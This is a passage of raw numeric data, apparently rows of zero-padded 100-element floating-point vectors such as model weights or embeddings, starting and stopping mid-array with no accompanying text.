0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1.29959, 0.0471738, -0.62719, 0.077869, 0.881193, 0.362357, -0.176908, -0.305799, 0.290382, 0.857102, -0.725718, 0.316022, -0.380052, 0.0140614, -0.00441078, 0.211088, 0.0184092, 0.218595, 0.349697, -0.0325962, 0.158942, 0.333969, 0.337163, -0.343362, 0.439637, -0.210211, 0.258678, 0.01468, -0.296514, 0.0288673, 0.71344, -1.89787, 0.0889277, 0.271794, -0.482755, 0.162453, 0.0101625, 0.0146019, 0.0828072, 0.320914, -0.0937526, -0.0930148, 0.211055, 0.880463, 0.000276844, -0.349912, 1.11153, -1.22792, -0.0109652, 0.125988, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [2.76155, -0.0768991, 0.391962, 0.0222427, 1.05502, 0.375722, 0.783757, 0.581379, 1.28625, 0.508389, -0.0604455, 0.592035, -0.0133426, -0.230002, -0.00118361, 1.89642, 0.926682, 2.42004, -0.928699, 0.499823, 0.150703, -0.647872, 1.36998, 1.04834, -1.79567, -0.207338, 2.57841, 0.0107857, 1.52766, -0.0113009, 0.0477226, -0.641764, 0.769714, 0.43958, -0.0658676, 0.0543915, 0.0247949, 0.0314989, -0.722151, -0.86136, -0.00790251, -1.26225, -0.115515, -0.0106017, -0.876755, 0.448997, 0.342141, -2.74339, -0.005904, 0.13491, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.785214, -0.192561, 0.576396, -0.0295729, 0.851359, -0.337242, 0.45004, 0.224869, -0.960628, 0.136275, 0.085742, -0.0733707, -0.263701, 0.228708, 0.0423433, -0.204653, -1.34805, 0.730368, -0.324332, -0.283787, -0.00579786, -0.605228, 0.0825447, -1.1144, -0.124804, 0.194597, 0.184835, 0.00529238, 0.703896, -0.0423358, 0.364238, -0.257978, 0.40071, -0.0403373, 0.237981, 0.0691697, 0.028612, -0.0270533, -0.444115, -0.028739, -0.0706923, -0.937475, -0.839618, -0.549759, -0.392271, -0.456183, -0.145259, 0.55362, 0.00956895, -0.0154625, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.340117, -0.34872, -0.180298, -0.0325619, -0.0376114, -0.34389, -0.261778, 0.0264841, -0.220423, -0.0386595, -0.117212, -0.137208, 0.0870814, 0.255447, 0.0196531, -0.325704, -0.392718, -0.0304936, 0.115481, 0.0929404, -0.0625161, 0.0910017, -0.358742, 0.192637, 0.170398, -0.0754001, 0.354384, -0.0396233, 0.0232672, 0.0411788, -0.655171, 0.593955, 0.274178, -0.158216, 0.0181027, 0.244799, -0.000292941, -0.0248055, -0.205087, -0.370047, -0.100196, -0.316187, 0.545787, 0.0520029, 0.0808503, -0.111961, -0.182956, -0.103863, 0.0115509, 0.00170544, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0725419, 0.119065, 0.115907, 0.0203052, 0.164567, 0.268311, 0.011945, 0.0562766, -0.25042, -0.530926, 0.150101, 1.04706, -0.397553, -0.157379, -0.00582277, 0.82466, 0.199391, 0.333854, -0.212049, -0.447976, 0.0505471, -0.57072, -0.280704, -0.787035, -0.126708, 0.0694826, 0.208883, 0.0214299, -0.283751, 0.0197588, 0.221055, -0.780845, 0.371906, 0.299316, -0.36683, -0.686119, -0.0276547, -0.0223241, -0.230015, 0.382262, -0.339192, 0.127428, 0.1427, -0.0352595, 0.177667, 0.303581, -0.0863627, -0.0235674, -0.00772822, 0.0124988, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.467838, 0.170599, 0.635905, 0.0807606, -0.194738, -0.168972, -0.874058, 0.525582, 0.362109, -1.85143, 0.242605, 0.440725, -0.708594, 0.220014, -0.00513773, -0.585414, -1.25227, 0.125629, -0.107246, -0.267048, 0.0801538, 0.00375163, 0.223064, 1.16259, 0.333804, -0.149236, -0.895861, 0.0407422, -1.00005, 0.0139915, 0.0872213, -0.739998, 0.134326, 0.0540733, -2.42652, 0.459179, -0.0362053, 0.0315952, 0.0952456, 0.0593369, -0.726178, -0.739345, 0.703606, 0.757842, 0.61125, -0.693164, -0.00555557, -0.126806, 0.0323164, 0.11247, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.791519, 0.223655, 0.0749354, 0.0900532, -1.22541, -0.329829, -0.505962, -0.0307227, -0.0100873, 0.21787, -0.110243, -0.0285537, -0.462951, 0.0878491, -0.04394, 0.451302, 0.664528, 0.276596, 0.123037, 0.0434027, 0.112931, 0.0227778, 0.480924, 0.430464, 0.455794, -0.141182, 0.388025, -0.0299637, 0.0587775, 0.0501033, -0.558681, 0.231319, -0.0369146, -0.0678924, 0.337021, 0.149143, -0.0138998, -0.0143238, -0.618749, 0.108023, -0.0323659, -0.24441, 0.569672, -0.0480929, -0.272755, -0.143702, 0.173112, -0.959527, -0.040642, 0.0961562, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.157566, 0.0987726, -0.890235, -0.024444, -0.434114, 0.833189, -0.354904, -0.354018, 0.0151625, 0.458031, 0.161108, 0.366457, -0.106432, -0.556706, -0.0108561, 0.213435, 0.33536, -0.0435388, -0.043284, 0.131394, 0.0320206, -0.190431, 0.310062, -0.246229, -0.465121, 0.641377, -0.333176, -0.00180127, -0.26652, -0.0142981, -0.170283, -0.240786, -1.0901, -0.173106, -0.151821, -0.292455, 0.0209182, -0.00338469, -0.266669, 0.0560353, -0.0625638, 0.441469, -0.469566, -0.45034, 0.523694, 0.0775498, 0.295941, 0.446624, -0.0374973, -0.00111662, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0347, 1.498, -0.7373, -0.05222, 1.219, 0.272, -1.721, 0.00811, -0.02002, -2.666, 0.05908, -0.759, 0.3445, 0.2075, -0.02519, 0.978, -0.07184, -0.7847, 0.266, -1.1455, 0.00011706, 1.143, 0.08655, 0.2998, 0.6167, 0.09924, -0.981, 0.05267, 1.578, -0.00272, -1.142, -0.528, 0.10785, -0.3152, 1.293, -0.0365, 0.02145, 0.048, -0.581, 0.1674, 1.364, -0.265, -0.3167, -0.3352, -1.433, -1.369, -0.638, -1.151, 0.01765, 0.04382], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3535, 0.339, 0.01289, 0.0513, 0.09955, 0.4373, -0.05597, -0.04956, 0.0815, 0.47, 0.4893, 0.3252, -0.4448, -0.1405, -0.0101, -0.4802, 0.2094, 0.3213, 0.10077, -0.05783, 0.1003, 0.06854, 0.763, -0.3433, 0.6167, -0.4048, 0.2426, -0.04102, -0.5234, -0.002201, 0.5464, 0.3127, -0.002764, 0.09326, -0.0612, 0.6343, 0.03894, -0.01265, -0.1865, 0.07135, 0.376, -0.4011, -0.0346, 0.0188, -0.0006638, -0.1393, -0.2233, -0.2186, 0.05548, 0.1648], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5356, 0.0743, -1.44, 0.0461, 0.04584, 0.3591, -1.581, -0.1079, -1.913, 0.262, -0.0576, 0.4583, -0.7734, 0.2104, 0.02959, 1.286, 0.1959, 0.839, 0.3386, 0.2437, 0.1294, -0.4707, 0.7026, -0.9023, 0.1987, 1.314, 0.3425, -0.05316, -2.312, -0.04413, -0.8057, -1.178, -0.06323, 0.04037, -0.705, 0.102, 0.05133, 0.007668, -0.285, -0.2744, 0.2664, -0.1313, -0.4446, -1.048, 0.2076, -0.1049, 0.5337, -1.888, 0.01993, 0.11847], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3472, 0.2144, -0.4995, -0.01671, -1.398, 0.1013, 0.2284, -0.10144, 1.444, -0.956, 0.05936, -0.445, -0.366, 0.062, -0.02069, 1.108, 0.2155, 0.5273, -0.216, -0.0533, -0.01248, -0.2634, -1.053, -0.4502, 0.1792, -0.2942, -2.062, -0.02773, 0.1865, -0.0002468, -0.5024, -0.2211, -1.577, 0.919, 0.1543, 0.4905, 0.0364, -0.02888, 0.235, 0.438, 0.3704, -0.6353, -1.58, -0.8535, -0.2566, -0.12335, -0.2324, -1.938, -0.05536, 0.002275], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0664, 0.795, -0.497, 0.0256, -0.9033, -0.03076, -0.2341, 0.00492, -0.532, -1.184, 0.1285, -0.01959, 0.0806, 0.1076, -0.02579, -0.2245, 0.2717, -0.33, 0.1592, 0.3162, 0.05594, 0.2717, 0.4028, 0.0878, -0.1489, 0.0664, -0.0891, -0.012634, -7.03, -0.01237, -1.557, -3.193, 0.7397, -0.2422, 0.3694, -0.4614, 0.04706, 0.004185, 0.0829, -0.0756, -0.484, 0.0492, 0.01817, -0.0875, -0.4365, 0.0224, 0.3074, 0.03864, -0.02063, 0.1257], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5684, 0.1776, 0.263, 0.11005, -0.371, 0.2732, 0.1051, 0.0799, 0.09796, -0.5596, 0.02542, -0.003235, 0.3916, 1.125, -0.02179, -0.503, -0.3833, -0.1206, 0.2068, -0.4849, 0.08563, 0.2898, 0.5337, -0.411, 0.3342, -0.2097, 0.1202, 0.02263, -0.2822, -0.0347, 1.115, 0.961, 0.661, 0.00734, 0.1842, 0.2202, 0.002, -0.0018, -0.0857, -0.182, -0.01785, 0.297, -0.1256, 0.009285, -0.3628, -0.2484, -0.3174, -0.3057, 0.00417, 0.11414], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.151, -0.5483, -0.2107, 0.03604, 1.242, -0.5327, -0.689, -0.1365, 0.0933, 0.1294, 0.12244, -0.625, 0.1898, -0.2286, 0.02458, -0.7046, -0.000588, -0.00838, -0.244, -0.387, 0.1569, 0.445, -0.5596, -0.2499, -0.2966, 0.1476, 0.3098, 0.01884, 1.441, -0.04333, 0.2598, 0.388, -0.01474, 0.00867, 0.371, 0.0419, -0.011246, -0.02693, -0.744, -0.1865, 0.2299, -0.276, 0.487, 0.2377, -0.5913, -0.3213, 0.0362, -1.563, 0.05154, 0.0902], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.821, 0.05048, -0.822, -0.0486, -1.266, 0.3198, -0.441, 0.282, -0.324, 0.192, -0.005077, 0.10376, -0.1975, -0.09143, 0.02538, -0.1721, 0.2046, 0.385, -0.47, -0.186, 0.02914, -0.2238, 1.159, -0.682, 0.854, -0.3433, -0.3389, -0.00547, 0.2512, 0.00594, 0.3953, 0.4238, -0.358, -0.5474, 0.2446, 0.04672, -0.01151, -0.006317, -0.2396, 0.86, 0.2305, -0.4272, 0.5537, 0.7275, -0.0864, 0.5137, 0.1458, 0.372, 0.03146, 0.03665], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.237, -1.015, 3.264, 0.03372, -5.77, 0.00433, -1.872, -0.36, 3.484, -0.02307, -0.57, 0.5405, 0.10657, 0.3735, -0.0398, -7.402, -4.734, 2.236, -3.193, 2.766, 0.05194, -0.939, 0.772, -2.287, -0.6465, 1.16, -3.0, -0.00631, 1.089, 0.03702, -0.3943, -3.793, -4.06, -0.851, -1.423, -3.85, -0.0365, 0.0212, -0.2837, 0.4036, 3.727, -0.3152, -0.4265, 1.418, -3.865, 0.1951, 1.532, 0.4207, -0.04868, 0.00707], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.342, -0.2769, 0.9717, 0.09656, -0.2395, 0.3098, -0.1812, 0.701, -0.3784, -0.947, 0.2522, -0.3762, 0.498, -0.002525, 0.01384, -2.537, 1.59, -0.03336, 0.2457, -0.457, 0.1342, 0.7153, 0.0802, 0.4126, 0.5034, -0.2266, 0.451, -0.003407, 0.5386, 0.0295, -0.737, 1.772, 0.2067, -0.2532, 0.1448, 0.2954, -0.00648, 0.03186, -0.2091, 0.2327, 0.331, 0.2098, 0.4502, -0.01653, 0.0642, -0.1129, -0.1735, 0.4297, -0.03802, 0.1213], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.6523, -0.4138, -0.00631, 0.11237, 0.5854, 0.1069, 0.1149, 0.1714, -0.0201, -0.538, 0.187, 0.1891, 0.0555, 0.111, -0.01384, -2.496, -0.2401, -0.905, -0.22, -0.004223, 0.1359, -0.1241, -0.01865, -0.92, -0.3667, 0.01752, 0.612, -0.02066, 0.5283, -0.04675, -0.4138, -0.399, 0.1742, 0.6313, 0.1727, 0.1165, 0.00875, -0.00159, -0.1328, -0.4167, -0.268, -0.737, -1.655, -0.816, -0.3691, -0.1584, 0.344, -0.5825, -0.02173, 0.1488], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1317, 0.10626, 0.4363, 0.04013, 0.06213, 0.5, -0.06085, 0.1437, -0.5405, 0.1092, 0.11066, 1.358, -0.883, -0.0465, 0.04596, 1.926, 0.725, 1.003, -0.4363, 0.9795, 0.02255, -1.271, 0.5493, -0.536, -0.6973, 0.4216, 0.2076, -0.0454, -0.647, -0.005386, -0.1146, -0.7383, -0.12445, 0.233, -0.42, -0.6953, 0.005783, 0.01292, -0.5137, 0.7812, -0.145, 0.1096, -0.3032, -0.03613, 0.3296, 1.134, 0.4739, 1.473, -0.02496, -0.01794], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2925, -0.1411, 0.9336, 0.01807, -4.05, -0.3691, 0.783, 0.5513, 0.363, -0.02954, -0.4724, -0.7197, 0.04932, 0.2007, 0.02914, -0.2969, -4.54, 0.3584, -0.3474, -0.6753, -0.0001236, -0.4373, -0.4932, 0.02617, -0.1033, 0.1417, 1.147, 0.01101, 0.2502, -0.01993, 0.3027, -2.025, 0.2435, -0.185, -0.1153, 0.1285, 0.01932, 0.0334, -0.2153, -0.2144, -1.8545, 0.0891, 0.2292, -0.3584, 0.3572, 0.2634, 0.4595, -0.11334, -0.03915, 0.01656], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.714, 0.3765, 0.5264, 0.0508, 0.1584, -0.0685, 0.3862, 0.635, -0.1245, 0.1401, 0.755, -0.1678, -0.3918, 0.5107, -0.0429, 0.0674, -0.7554, 0.005684, 0.1819, 0.097, 0.08, -0.3523, 0.5684, 0.619, -0.8013, 0.6455, -0.0376, -0.0161, 0.1638, 0.01831, -0.9014, 0.4714, 1.101, 0.1592, -0.358, -0.3171, 0.03586, -0.01111, 0.1083, 0.0676, -0.628, 0.2482, -0.1544, 0.125, 0.3604, -0.4512, 0.487, 0.5693, 0.05783, 0.1007], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.75, 0.7144, 1.664, 0.064, 0.9014, -0.4578, 0.0731, 0.258, 1.526, 0.825, 0.3755, 1.087, -0.3093, -0.4604, -0.011894, 2.053, 0.9614, 2.938, 0.037, -0.1041, 0.1143, 0.591, 0.592, -0.1754, -0.728, -0.676, 1.791, 0.0001346, 0.5513, 0.004433, -0.102, -0.401, -0.532, 0.0447, 0.1884, -0.6743, -0.03763, 0.011406, -0.9053, -0.0002064, -0.03625, 0.4915, 2.436, -1.068, 0.3691, -0.1594, 0.7056, 0.436, -0.00791, 0.1221], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1299, -0.7915, 1.387, 0.06113, 0.2666, -0.02899, 0.1105, 0.0823, 0.3464, -0.586, -0.2712, -0.3994, -0.1808, 0.493, -0.01427, -0.7705, 0.8003, 0.3044, -0.191, -1.059, 0.1549, -0.697, 0.1796, -0.1418, -0.2473, -0.0542, -0.9224, 0.003166, -0.656, -0.00556, 0.6465, 1.408, 1.034, -0.2715, 0.1494, 0.2903, -0.03635, 0.01984, 0.1632, 0.08124, 0.2712, -0.5474, 0.7764, 0.3474, 0.05893, 0.2445, 0.10077, 1.946, 0.01222, 0.08844], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.01817, -0.3254, 0.0692, 0.1102, -2.121, 0.1131, -0.2708, 0.12384, 0.04242, -0.3083, 0.04437, -0.3228, -0.1582, 0.511, -0.03226, 0.1434, 0.1255, 0.2854, -0.015366, 0.2213, 0.1296, -0.2479, 0.0328, -0.2255, -0.001068, 0.1217, -0.847, -0.036, -0.2034, 0.013504, -0.02953, -0.3179, -0.1458, -0.1735, -0.0731, -0.09045, -0.03925, 0.0447, 0.1016, 0.1412, 0.177, -0.0963, 0.1444, 0.4001, -0.10254, 0.321, -0.0781, -0.9253, 0.04517, 0.1411], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.6025, 0.6597, -0.4531, 0.04987, 0.8877, 0.5405, 0.9526, -0.789, 2.049, 0.2598, 0.256, 0.625, -0.4946, -0.308, 0.0339, 1.692, 0.227, 0.2325, -0.3872, -0.615, 0.1326, -0.761, -0.186, -2.283, 0.2045, -0.2822, 1.99, 0.0187, -0.8716, -0.01268, -0.1317, -0.765, 1.58, 0.04697, 0.8623, -0.7, -0.02287, -0.04672, 0.6665, 1.036, -0.1907, 0.205, 0.6616, 1.524, 0.1858, 0.0782, 0.4863, 2.658, -0.01097, 0.1107], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.753, -0.4785, 1.4, 0.10126, 0.1213, -0.2778, -0.4744, 0.05783, -0.467, -0.3455, -0.0125, 0.4053, -0.3206, 0.2666, 0.04736, -1.349, 0.0539, -2.033, 0.223, 0.1946, 0.1771, -0.4622, 0.00805, -0.6475, -0.4663, -0.1957, -0.09375, 0.04376, -0.271, -0.04037, -0.02405, 0.508, 1.545, -0.3127, 0.737, 0.003286, -0.0262, -0.02295, -0.2124, -0.211, 0.3762, -0.3274, 0.3806, 0.3918, -0.04996, -0.3591, 0.2778, 0.2454, -0.002054, 0.1559], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 